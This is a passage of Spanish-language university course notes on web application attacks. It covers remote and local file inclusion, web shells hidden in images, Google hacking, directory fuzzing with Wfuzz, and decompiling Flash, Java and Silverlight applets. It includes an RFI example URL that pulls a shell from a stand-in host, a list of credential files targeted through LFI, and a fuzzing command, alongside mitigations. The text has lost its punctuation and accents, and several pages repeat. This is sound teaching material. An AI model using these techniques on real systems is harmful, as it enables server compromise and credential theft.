donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 56: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
